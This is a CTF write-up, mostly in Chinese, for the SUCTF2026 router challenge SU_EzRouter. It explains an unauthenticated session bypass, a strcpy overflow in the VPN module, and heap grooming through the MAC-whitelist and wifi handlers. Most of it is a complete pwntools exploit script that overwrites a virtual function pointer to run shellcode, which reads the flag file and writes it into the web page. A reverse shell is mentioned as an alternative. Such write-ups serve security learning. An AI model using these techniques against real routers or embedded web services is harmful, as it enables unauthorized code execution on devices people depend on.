SUCTF2026 SU_EzRouter Writeup

没给附件,远程可以通过未鉴权进系统,拿到sessionid后就可以越权访问系统了

后台有固件包,下载后解压拿到整个固件

主逻辑在mainproc中,程序通过libutil库的CFG中间件与cgi交互

主要漏洞可以看主逻辑可以分析出:vpn模块存在越界写问题,strcpy未限制长度,让pass字段为0x20会填满会把最后的堆块指针覆盖掉

image
image

此时的思路是:因为vpn结构体上存在一个虚函数地址,在ApplyVPN函数会执行他,如果我们修改这个虚函数到堆上,就可以执行shellcode(本题故意设计了堆可执行)

但问题出现了,实际上我们无法通过这个程序获得什么地址泄露,所以不知道堆地址,无法任意写到虚函数位置,且strcpy会把末位置零,意味着其实只能实现一个off by null的效果。

通过调试发现这个堆很干净,说明使用堆风水来布局堆使得这个结构体堆块正好落在这样一个范围里:

ps:mac和wifi方法都能够创建堆块控制堆的风水

40c96438a4e34126cd3239a0648db45

这样构造就能使任意写正好碰到虚函数的位置

问题解决了,但好像还没解决,我们既不知道heap的地址,也不知道elf的基址,那么也就不太好改虚函数,此时委曲求全的办法是爆破倒数第四位,这样在elf上存在一个比较好的gadget

image

已知在调用虚函数时,会把rax置为vpn结构体的地址,那么用这种方式就能跳到堆上执行shellcode

先通过短跳跃两次跳到比较好控制的堆区域,然后执行shellcode

	sc = shellcode().ljust(0x7eb,b'a') #custom的长度控制 vpnlist + 0x00
    callback_ptr = 0xf2e900 #cert的值控制vplist +0x08 末位必须为0x00,不然在strcpy时不好截断
    custom_ptr = b'\xef\x12' #往虚函数上写的两字节,假设第二字节为1

‍

shellcode可以写反弹shell,保险起见使用覆盖静态html界面的方式

d2acb83eac56303269eb1df5f227888

这都题的爆破写的很有问题,因为题目给了restart脚本重启mainproc程序,但是本地一直调用不到,最后是手动爆破,在管理后台手动刷新程序。不过还好爆破有1/16的概率,有惊无险的出了

AI写交互还是很好用的,特别是这种交互比较复杂的题目

‍

exp

from base64 import b64encode
import json
import re
import subprocess
from urllib.parse import urlencode as form_urlencode

from pwn import *


context.arch = "amd64"
context.log_level = "info"

CONTAINER = "suctf-ezrouter"
REV_PORT = 4444
if args.REMOTE:
    HTTP_PORT = 80
    HOST = "web-d380749e52.adworld.xctf.org.cn"
else:
    HTTP_PORT = 8001
    HOST = "localhost"

VPN_LIST_OFF = 0x2A0
CALLBACK_OFF = VPN_LIST_OFF + 0x10
CUSTOM_OFF = 0x3A0

def req(raw):
    io = remote(HOST, HTTP_PORT)
    io.send(raw)
    data = io.recvall(timeout=1)
    io.close()
    return data

def hx(bs):
    return "".join(f"\\x{x:02x}" for x in bs)


def run_vpn(sid, obj):
    body = json.dumps(obj, separators=(",", ":")).encode()
    raw = (
        f"POST /cgi-bin/vpn.cgi HTTP/1.1\r\n"
        f"Host: {HOST}\r\n"
        f"Cookie: session_id={sid}\r\n"
        "Content-Type: application/json\r\n"
        f"Content-Length: {len(body)}\r\n"
        "Connection: close\r\n\r\n"
    ).encode() + body
    return req(raw)


def run_list(sid, obj):
    body = form_urlencode(obj).encode()
    raw = (
        f"POST /cgi-bin/list.cgi HTTP/1.1\r\n"
        f"Host: {HOST}\r\n"
        f"Cookie: session_id={sid}\r\n"
        "Content-Type: application/x-www-form-urlencoded\r\n"
        f"Content-Length: {len(body)}\r\n"
        "Connection: close\r\n\r\n"
    ).encode() + body
    return req(raw)


def run_wifi(sid, obj):
    body = form_urlencode(obj).encode()
    raw = (
        f"POST /cgi-bin/wifi.cgi HTTP/1.1\r\n"
        f"Host: {HOST}\r\n"
        f"Cookie: session_id={sid}\r\n"
        "Content-Type: application/x-www-form-urlencoded\r\n"
        f"Content-Length: {len(body)}\r\n"
        "Connection: close\r\n\r\n"
    ).encode() + body
    return req(raw)


def add_white_mac(sid, mac, idx="1", note=""):
    return run_list(sid, {
        "action": "add_white",
        "idx": str(idx),
        "mac": mac,
        "note": note,
    })


def del_white_mac(sid, idx):
    return run_list(sid, {
        "action": "del_white",
        "idx": str(idx),
    })


def save_wifi(sid, ssid, password):
    return run_wifi(sid, {
        "action": "save",
        "ssid": ssid,
        "password": password,
    })


def set_vpn(sid, callback_ptr, shellcode):
    obj = {
        "action": "set",
        "name": "vpn",
        "proto": "tcp",
        "server": "srv",
        "user": "usr",
        "pass": hx(b"A" * 32),
        "cert": hx(p64(callback_ptr)),
        "custom": hx(shellcode),
    }
    return run_vpn(sid, obj)


def edit_vpn(sid, new_cb):
    obj = {
        "action": "edit",
        "name": "vpn",
        "proto": "tcp",
        "server": "srv",
        "user": "usr",
        "pass": "x",
        "cert": "y",
        "custom": "B64:" + b64encode(new_cb).decode(),
    }
    return run_vpn(sid, obj)


def apply_vpn(sid):
    obj = {
        "action": "apply",
        "name": "vpn",
        "proto": "tcp",
        "server": "srv",
        "user": "usr",
        "pass": "x",
        "cert": "y",
        "custom": "",
    }
    return run_vpn(sid, obj)

FLAG_PATH = "/app/flag"
INDEX_PATH = "./www/index.html"
def shellcode():
    sc = asm(
        shellcraft.open(FLAG_PATH, 0, 0)
        + shellcraft.read("rax", "rsp", 0x100)
        + "mov rbx, rax\n"
        + shellcraft.open(INDEX_PATH, 577, 0o644)
        + shellcraft.write("rax", "rsp", 0x100)
        + shellcraft.exit(0)
    )
    if b"\x00" in sc:
        raise RuntimeError("shellcode contains NUL byte")
    return sc

def http_packet(method, path, body=b"", headers=None):
    if isinstance(body, str):
        body = body.encode()

    headers = {
        "Host": HOST,
        "Content-Length": str(len(body)),
        "Connection": "close",
        **(headers or {}),
    }
    head = "".join(f"{k}: {v}\r\n" for k, v in headers.items())
    return f"{method} {path} HTTP/1.1\r\n{head}\r\n".encode() + body

def send_packet(packet):
    io = remote(HOST, HTTP_PORT)
    io.send(packet)
    data = io.recvall(timeout=2)
    io.close()
    return data

def send_raw_http(method, path, headers=None, body=b""):
    return send_packet(http_packet(method, path, body, headers))

def parse_http_response(data: bytes):
    sep = b"\r\n\r\n" if b"\r\n\r\n" in data else b"\n\n"
    head, body = data.split(sep, 1)

    lines = head.replace(b"\r", b"").split(b"\n")
    status_code = int(lines[0].decode().split()[1])

    headers = {}
    for line in lines[1:]:
        if b":" not in line:
            continue
        k, v = line.split(b":", 1)
        headers[k.decode().strip()] = v.decode(errors="ignore").strip()

    return status_code, headers, body
def extract_set_cookie(headers: dict):
    cookie = headers.get("Set-Cookie")
    if not cookie:
        return None
    return cookie.split(";", 1)[0]



def exploit():
    # sid = login()
    resp = send_raw_http(
        "GET",
        "/www/http?action=login&auth=1",
    )
    print(resp)
    code, headers, body = parse_http_response(resp)
    sid = extract_set_cookie(headers)[11:]
    # sid = "session_id=1bf5f817143311755b15b4be3b171f84"
    log.success(f"session_id = {sid}")

    sc = shellcode().ljust(0x7eb,b'a')
    # l = listen(REV_PORT)
    callback_ptr = 0xf2e900
    custom_ptr = b'\xef\x12'

    print(add_white_mac(sid, "11:22:33:44:55:66", idx=1,note="test1").decode("latin1", "ignore"))
    print(add_white_mac(sid, "11:22:33:44:55:67", idx=2,note="test2").decode("latin1", "ignore"))
    print(add_white_mac(sid, "11:22:33:44:55:68", idx=3,note="test3").decode("latin1", "ignore"))
    
    print(save_wifi(sid, "test-ssid", "12345678").decode("latin1", "ignore"))
    # print(add_white_mac(sid, "11:22:33:44:55:70", idx=5,note="test5").decode("latin1", "ignore"))
    # print(add_white_mac(sid, "11:22:33:44:55:71", idx=6,note="test6").decode("latin1", "ignore"))
    print(set_vpn(sid, callback_ptr, sc).decode("latin1", "ignore"))
    # pause()
    print(edit_vpn(sid, custom_ptr).decode("latin1", "ignore"))
    # pause()
    print(apply_vpn(sid).decode("latin1", "ignore"))

    # sh = l.wait_for_connection()
    # sh.interactive()


if __name__ == "__main__":
    exploit()

‍